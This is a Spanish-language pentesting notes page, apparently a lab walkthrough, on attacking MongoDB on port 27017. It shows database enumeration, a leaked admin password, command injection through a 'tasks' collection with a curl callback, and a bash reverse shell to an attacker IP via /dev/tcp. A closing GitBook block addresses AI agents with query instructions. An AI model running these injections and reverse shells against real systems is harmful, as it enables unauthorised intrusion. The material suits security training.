> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/ports-and-services/mongodb-27017.md).

# MongoDB - 27017

### Enumeración de MongoDB

<figure><img src="/files/b7ea6267f76de7922d6b689c0c2df8f7f162a399" alt=""><figcaption></figcaption></figure>

Conéctate a la base de datos MongoDB en el puerto 27017:

```bash
mongo
show dbs
use blog
show tables
db.users.find()
```

<figure><img src="/files/a7c49a9bf82e93edead599408678da6b5931259b" alt="" width="563"><figcaption></figcaption></figure>

* usuario: admin
* contraseña: IppsecSaysPleaseSubscribe

<figure><img src="/files/47a9e938f6cd887068408d77d8f5ad1849b2e29a" alt=""><figcaption></figcaption></figure>

### Ejecución remota de código en MongoDB

El `app.js` el script ejecuta comandos del sistema desde documentos de MongoDB a través de `doc.cmd`. Esta es una vulnerabilidad crítica porque se pueden inyectar y ejecutar comandos arbitrarios.

<figure><img src="/files/6c407ff7c97ca8a0baa2c01aa594cb41fd07c57d" alt=""><figcaption></figcaption></figure>

Confirma la ejecución de comandos a través de MongoDB.

**Crea un servidor web local**

En la máquina atacante, inicia un servidor web para observar las solicitudes:

```bash
python3 -m http.server 80
```

**Inserta un comando de prueba en la `tareas` colección**

En MongoDB, inserta un comando que realice una solicitud HTTP a la máquina atacante:

```bash
db.tasks.insert({  cmd: "curl http://10.10.14.30"})
```

**Observa las solicitudes**

Si ves una solicitud en los registros del servidor web, esto confirma que los comandos se están ejecutando.

<figure><img src="/files/caeab314a111e9a8d501b57a6e4131357a6b2edf" alt=""><figcaption></figcaption></figure>

Configura una shell inversa y escucha en el puerto 443:

```bash
nc -nlvp 443
```

#### Inicia una shell inversa

**Configura un listener en el puerto 443** En la máquina atacante:

```bash
nc -nlvp 443
```

**Inserta un comando de shell inversa**

En MongoDB, inserta un comando para establecer una shell inversa:

```bash
db.tasks.insert({  cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"})
```

**Conexión exitosa** Una vez que el comando se ejecuta, obtienes una shell interactiva en la máquina objetivo bajo el usuario **tom**.

<figure><img src="/files/42d2c80340b833edd66a048636a206f240913688" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/ports-and-services/mongodb-27017.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
